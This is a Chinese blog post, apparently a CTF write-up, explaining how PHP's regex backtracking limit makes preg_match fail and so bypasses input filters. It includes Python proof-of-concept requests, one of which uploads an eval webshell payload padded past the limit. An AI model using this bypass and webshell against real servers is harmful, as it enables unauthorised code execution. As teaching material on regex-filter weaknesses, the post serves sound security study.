PHP利用正则回溯次数限制绕过某些安全限制
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } <?php eval() if(!is_php($input)) { // fwrite($f, $input); ... }
大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。这种时候,如何绕过 is_php() 函数来写入 webshell 呢?
这道题看似简单,深究其原理,还是比较复杂,让我们一步步来搞定
0x01 正则表达式是什么
正则表达式是一个可以被「有限状态自动机」接受的语言类。
「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。
而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。
0x02 回溯的过程是怎样的
所以,我们题目中的正则 <\?.[(`;?>].,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的:
见上图,可见第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。
所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上……
最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.,第二个.匹配到了字符串末尾,最后结束匹配。
0x03 PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。
以英文版为参考。
回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?
preg_match 返回的非 1 和 0,而是 false。
preg_match 函数返回 false 表示此次执行失败了,我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。
对应的 POC 如下:
import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False) print(res.headers)
0x04 另一道题目
<?php function areyouok($greeting){ return preg_match('/Merry.*Christmas/is',$greeting); } $greeting=@$_POST['greeting']; if(!is_array($greeting)){ if(!areyouok($greeting)){ // strpos string postion if(strpos($greeting,'Merry Christmas') !== false){ echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}'; }else{ echo 'Do you know .swp file?'; } }else{ echo 'Do you know PHP?'; } } else { echo 'fuck array!!!'; }
首先分析这道题,函数areyouok过滤了/Merry.*Christmas/,而要想拿到flag,就必须使内部的if条件成立,即greeting参数中必须含有Merry Christmas字符串(strpos函数查找字符串在目标中首次出现的位置),这就矛盾了,因为正则会过滤我们的Merry Christmas字符串。
那么这时候我们就可以使用正则回溯来绕过过滤,用Python构造post请求
from requests import post data={"greeting" : "Merry Christmas" + "a" * 1000001} url = 'http://192.168.1.3/test/regex2.php' res = post(url=url,data=data) print(res.text)
而后就能够顺利拿下flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律